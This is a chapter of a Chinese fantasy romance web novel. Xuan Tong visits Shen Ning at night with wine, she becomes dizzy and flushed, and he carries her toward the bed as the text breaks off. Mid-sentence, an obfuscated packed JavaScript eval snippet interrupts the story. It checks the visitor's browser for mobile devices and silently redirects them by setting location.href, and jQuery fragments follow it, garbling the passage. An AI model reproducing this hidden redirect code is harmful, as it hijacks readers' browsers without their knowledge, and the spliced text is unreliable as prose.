五日后,邺鹿城城郊。
黄旻一手牵着离恒,指了指站旁侧一席暗紫衣袍玉冠束发的玄桐:“他为何也跟你们同行?”
洛朝面有难色:“玄公子,这......”
玄桐眉峰微挑,离沈宁又近了些:“闲来无事,想跟着姐姐疏散疏散,想来姐姐定是不会介意,对吧?”
沈宁能闻他身上若有若无的安神香气味,心漏跳了一拍。
自从灵玉梦境后,每当玄桐主动靠近,她总会如此。有时不经意间觑见那张漂亮到无可挑剔的脸,便能联想到梦中香艳场景。
就相貌来说,洛朝作为男主冠绝风华,在众角色样貌PK赛中一骑绝尘。玄桐的气质却与洛朝那蓬勃无垢的少年气不一样。前者眉眼天然自带三分邪气和三分魅态,外加两人有过那么一段难以启齿的经历,沈宁极易对脸的主人想入非非。
以至于听见他的声音,耳畔都能回荡起他那一声声压抑至极,却终无法控制而从喉间接连滚出的低吟。当时只觉尴尬的声音,自梦境后回想起来竟觉悦耳,如平静的寒潭微荡起的涟漪,使沈宁忍不住心跳加快。
最可怕的莫过于,她发现自己还想再听很多遍,甚至还想再次看见他殷红的眼尾,以及身体上因求而不得带来的颤抖和痉挛。
沈宁毫不客气地得给自己下了个定论——不正常。
实在太不正常了。
好歹也是亲手捡来的养大的崽,怎能产生如此不要脸的想法?
若是被玄桐发现,这还得了?
大妖擅蛊人心,但那只是对普通凡人而言。她堂堂修士居然被蛊成这样,没面子,实在太没面子了。
沈宁默念两句清心诀,又连错开几步从身后人的气息中解脱出来:“玄、玄公子自便。”
玄桐眸光暗了——她果真在躲。
她当真对已厌恶至此么?
还是因为那次在她面前......
玄桐忍下烦躁——罢了,只要她在他身边便好。
林娗问黄旻:“黄道友也来此地有事?”
黄旻点头:“门派师兄们都在此地,说好了待我寻回阿恒后找他们汇合。”
邺鹿城与云翳山比邻,相距不过五六十里。
洛朝:“如此便有缘再会了。”
黄旻:“有缘再会。”
待四人与黄旻和离恒分开后,在邺鹿城寻了一处客栈歇脚,沈宁从囊中取出银钱,让店小二上了壶龙井。
一时桌上无言,谁都没说话。
过了许久,洛朝终于开口:“玄公子,我等皆有师门之命在身,怕是无法相伴而行。”
当着黄旻之面,他并未出言拒绝,也是考虑到黄旻的个性。
但纵观古今,虽妖人二界从大层面来说,并非水火不容,但关系也说不上有多融洽,可以说非敌非友。
修士和妖族同行更是闻所未闻,更何况是妖界尊主。
洛朝如何也不信他当真只是“疏散疏散”。
玄桐并未接话,反道:“洛公子和林姑娘看来似乎关系不错。”
洛朝和林娗闻言,无言相视,又都红了脸。
两人间的气氛旖旎,有些事情即便不说,但有心人也都明白了。
只是其余人均有些奇怪,他无端提这茬又是做什么?
玄桐唇角一勾,似心情极好:“洛公子放心,我对龙鳞无意。”
洛朝沉吟半晌后道:“既如此,玄公子请随意。”
他将传音玉牌摆在桌上,这回林娗和沈宁能清楚看见上面传递的信息——邺鹿城,东南方位,赵氏。
这是下一枚龙鳞所在地。
林娗:“龙鳞为何会在凡人身上?”
洛朝:“或许并非那么简单。”
林娗:“洛师兄是说......赵或许被......”
龙鳞于凡人无益,于妖族却能增长百年修为,故会引群妖觊觎。若手无缚鸡之力的凡人拥有,便成了个活靶子,易引杀身之祸,断不可能安然无恙活到现在。
除非,他早已被妖控制了。
洛朝:“今日天色已晚,待明日去看看便知......小二,四件天字号房。”
小儿殷勤应道:“得嘞!”
*
夜晚。
玄桐从掌柜那儿拎了两壶上好的葡萄酿,扣开了沈宁的屋门,
沈宁开门见到来人时,先是一惊,而后不自然的避开目光:“夜深了,玄公子有何话不如明日再说。”
“姐姐,你是不是在躲着我。”
玄桐目光一错不错看着她,话虽然是问句,但语气却极为肯定。
“没有,玄公子......多心了。”
“既如此,姐姐可否陪我喝一杯?”
沈宁对自己酒量如何还是有数的,不喝酒尚且心存歹意,若一盏黄汤下肚,还指不定做出什么惊世骇俗的事情来。
“不了,我有些乏了,还请玄公子另择人相陪。”说罢,她就要关门,却没关动。
玄桐手肘抵在门上,闻言,却丝毫没有打道回府的意思,伸出一根手指,语气带着娇嗔:“姐姐,就一杯。”
“......”
沈宁现在觉得自己不仅疯了,还疯得不轻。
不然如何会真答应陪他三更半夜喝什么酒。
烛影轻摇,将两人的影子斜折在墙上。
沈宁两指住杯口酒杯,轻轻摇晃,盯着两个影子有些出神。
玄桐影子忽地靠了过来,同她自己的影子重叠在处起。
沈宁一惊,一双好看的杏眼陡然睁圆了。
她额头被人轻轻弹了一下,抬眸见男子肤如白瓷,眉眼含笑:“姐姐,在想什么呢?”
真该死,他为什么能如此好看!!!
沈宁飞快地垂下眼帘:“没什么。”
“你说我陪你喝完一杯你就回去,可说话算话。”
玄桐闻言,笑容一僵,但很快便恢复如常:“嗯,说话算话。”
沈宁试探着嘬了一口——嘶,好辣。
“姐姐,你不相信我吗?”
沈宁又拧眉喝了半口,酒刚入喉,就上了脸,双颊染上绯色。
“你为何如此说?”
“那你为什么要躲着我?”
沈宁被这个问题呛了一下,违心道:“我没有躲你。”
“姐姐你是不是......还是介意幻境中的事?”
沈宁不自然别看脸不去看他:“我说过,我并不曾怪你,那时是我自愿替你......平复的。”
玄桐悲怆地笑了笑:“可你在那之后,连看我都不愿意了。”
沈宁无言以对——他领悟错了方向,但她又没法解释。
“你是不是觉得我很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280717|166815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恶心?”
沈宁又喝了一小口,喉咙都快被烧得冒火了:“没有。”
“姐姐,你敢看着我说吗?”
“......”
真是疯了!!!
沈宁狂念清心诀,又深呼吸几遭,鼓足勇气终于抬眸正视面前之人,字句清晰:“我没怪过你,也没觉得你恶心。那日的事并非你我能左右,迫不得已而为之罢了,你无需耿耿于怀,其实这本没什么。”
沈宁本意是想告诉玄桐今后不要总提及此事,但玄桐听见“本没什么”五字,眸光陡然幽深。
“姐姐觉得,与男子如此,本没什么?”
沈宁实在不知道他究竟想怎样,在意不对,不在意也不对。索性闭目一口将酒闷了,嘭地声将酒杯重重一放:“喝完了,玄公子请回吧。”
“姐姐还没回答我呢。”玄桐却没有半分要离开的样子,眸光意味不明:“你觉得与男子做此事,没什么吗?”
“你答应过我的,我喝完这杯你就回去。”沈宁目光开始涣散,她撑着桌子本想起来,脑袋却一阵发晕,脚下一个踉跄。
“小心。”玄桐心骤然一紧,连忙起身挡在沈宁身前。
沈宁如同一只折翅之鸟,软绵绵地落入到了玄桐怀中。
她小声嘟囔:“我确实在躲你。”
玄桐身形一僵。
“可是我也真不怪你,也没觉得你恶心,我只是怕看见你。”说到后面,沈宁的声音竟捎上了委屈:“你可不可以离我远些,我怕......”
玄桐心凉地可怕,寒意从骨缝钻出,所立之地结了薄薄一层霜翳。
他喉间一动,艰难问道:“你......怕什么?”
他等了许久,还是没等来沈宁的回答。
玄桐怀中的女子咬紧牙关,正勉强维持最后一丝理智。
该死,这酒怎么跟春、药一样。
她有气无力地推了玄桐一下,却反被对方又往怀中搂近了一寸,男子胸口的心跳无比清晰。
他感觉到沈宁体温升高,又见她面色绯红,也没心思追究她后头究竟想说什么了,冰凉的手背贴上沈宁额头“姐姐不舒服吗?”
这声音轻柔地简直快要了她的命!
沈宁死死拽住自己的袖口,忍住冲动:“不用管我,睡一觉就好了。”
“那我扶你。”
别啊!!!
普通的酒怎么能有如此效果?
晕而不倒,醉而不迷。
沈宁酒精浇灌下残存的脑细胞想明白了。
这是一篇什么文?
答案是古早狗血言情文。
深夜、饮酒、孤男寡女,这三个词凑在此文同章内,必发生不可描述之事啊!
就像男主不死定律,狗血言情文也有自己的逻辑体系!
若再搭上一张床,那后果很严重啊啊啊!!!
玄桐却没吭声,直接将她横抱在了怀中。
沈宁悬空的两腿毫无威胁力扑腾了两下:“放开我,我自己走!”
玄桐定在原地:“姐姐莫非是怕我会做些什么?”
“放心吧,不会的。姐姐不愿之事我决不强求。”
不不不,不是这样的,玄桐大大你误会了!
现在危险的是你啊。
玄桐却不顾他怀中女子的抵死挣扎,打横抱着人朝床榻走去。